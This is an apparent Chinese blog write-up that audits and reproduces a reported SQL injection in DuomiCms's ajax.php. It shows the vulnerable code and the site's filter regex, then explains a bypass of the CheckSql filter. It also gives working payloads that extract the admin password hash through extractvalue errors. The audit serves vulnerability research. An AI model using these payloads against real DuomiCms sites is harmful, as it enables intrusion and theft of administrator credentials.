DuomiCms x3.0前台duomiphpajax.php SQL注入漏洞审计复现

DuomiCms x3.0前台duomiphp/ajax.php SQL注入漏洞审计复现

参考链接:https://xz.aliyun.com/t/2828#toc-3

CNVD 的漏洞通告:DuomiCms x3.0前台duomiphp/ajax.php文件存在SQL注入漏洞 ,直接从ajax.php开始入手。这里使用duomicms v1.2,这部分代码与v 3.0一致。

ajax.php所有与sql语句有关的代码如下:

可以看到这里大多数 SQL 语句使用了拼接,而拼接用的变量又多数是全局变量,我们在前面的代码执行漏洞中,提到程序有注册变量的行为,这样容易造成变量覆盖

$id = (isset($id) && is_numeric($id)) ? $id : 0;
$sql="select v_digg,v_tread,v_score,v_scorenum from duomi_data where v_id=".$id;
$sql="select n_digg,n_tread,n_score,n_scorenum from duomi_news where n_id=".$id;
global $id,$dsql,$score;
$dsql->ExecuteNoneQuery("Update `duomi_data` set v_scorenum=v_scorenum+1,v_score=v_score+".$score." where v_id=$id"
global $id,$uid,$dsql;
$row = $dsql->GetOne("Select id From `duomi_favorite` where vid=$id and uid=$uid ");

可以看到虽然$id拼接在SQL语句的末尾,且没有被引号包裹。非常好利用,但是对id变量进行了类型判断,必须是数字,所以没办法直接利用。而$score变量在SQL语句中被引号包裹了,如果引入注释符号话,会触发 duomiphp/sql.class.php 文件的SQL检测规则

在这里插入图片描述

还有 $uid 变量,该变量为全局变量,可以由用户控制,而且其位置在SQL语句最后,两边也没有引号包裹,很好利用。

提交的$uid变量会经过duomiphp/webscan.php 文件的 $getfilter 规则检查,然后经过duomiphp/common.php 文件 _RunMagicQuotes 函数的转义并注册成全局变量。

webscan.php检查规则
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

在这里插入图片描述

根据我们传入的 action=addf ,我们直接进入了 duomiphp\ajax.php 文件的 addfav 方法。然后直接拼接SQL语句,进入 duomiphp\sql.class.php 文件的 GetOne 方法。接着在 GetOne 方法中调用了 $this->Execute(“one”);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Execute 方法中,我们最需要关注的就是 CheckSql 方法的实现。首先,如果是 select 语句,会先经过下面的正则,这里过滤了一些特殊语法,不允许我们使用联合查询。

在这里插入图片描述

接下来是while 语句将处理后的数据库查询语句$db_string存在$clean

在这里插入图片描述

然后用于检测的是 $clean 变量,最后返回的却是 $db_string 。所以我们只要在 $clean 变量中不出现敏感词,即可绕过SQL语句的检测。

在这里插入图片描述
在这里插入图片描述

到这,根据代码逻辑已经可以构造POC验证漏洞的存在

ajax.php?action=addfav&id=1&uid=1 and extractvalue(1,concat_ws(0x3A,0x3A,version()))

但是要查询一些重要信息还是的绕过这里的安全检查

具体看一下while中的程序。该函数会先搜索第一个单引号的下标,取引号前面的字符串给 $clean ,然后将第一个引号和第二个引号之间的字符用 $s$ 来代替,最后取第二个引号之后的内容给 $clean 变量。

在这里插入图片描述

构造payload

ajax.php?action=addfav&id=1&uid=1 and `'`.``.vid and extractvalue(1,concat_ws(0x3A,0x3A,(select`password` from`duomi_admin` limit 1))) and `'`.``.vid

经过webscan.php检查后引号在commen.php中被addslashes转义

1 and `\'`.``.vid and extractvalue(1,concat_ws(0x3A,0x3A,(select`password` from`duomi_admin` limit 1))) and `\'`.``.vid

然后到CheckSql函数的while部分处理,处理后获得的 $clean (如下)可以绕过下面的 SQL 检测,然后程序又将 $db_string 原样返回,此时也就造成了SQL注入。

// $clean
select id from `duomi_favorite` where vid=1 and uid=10101 and `\$s$`.``.vid
// $db_string    
Select id From `duomi_favorite` where vid=1 and uid=10101 and `\'`.``.vid and extractvalue(1,concat_ws(0x3A,0x3A,(select`password` from`duomi_admin` limit 1))) and `\'`.``.vid

在这里插入图片描述

也可以使用下面的payload(可以去除语句中的`符号)

uid=1 and `'`.``.vid and extractvalue(1,concat_ws(0x3A,0x3A,(select password from duomi_admin limit 1))) and `'`.``.vid

tractvalue(1,concat_ws(0x3A,0x3A,(select password from duomi_admin limit 1))) and '.``.vid


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值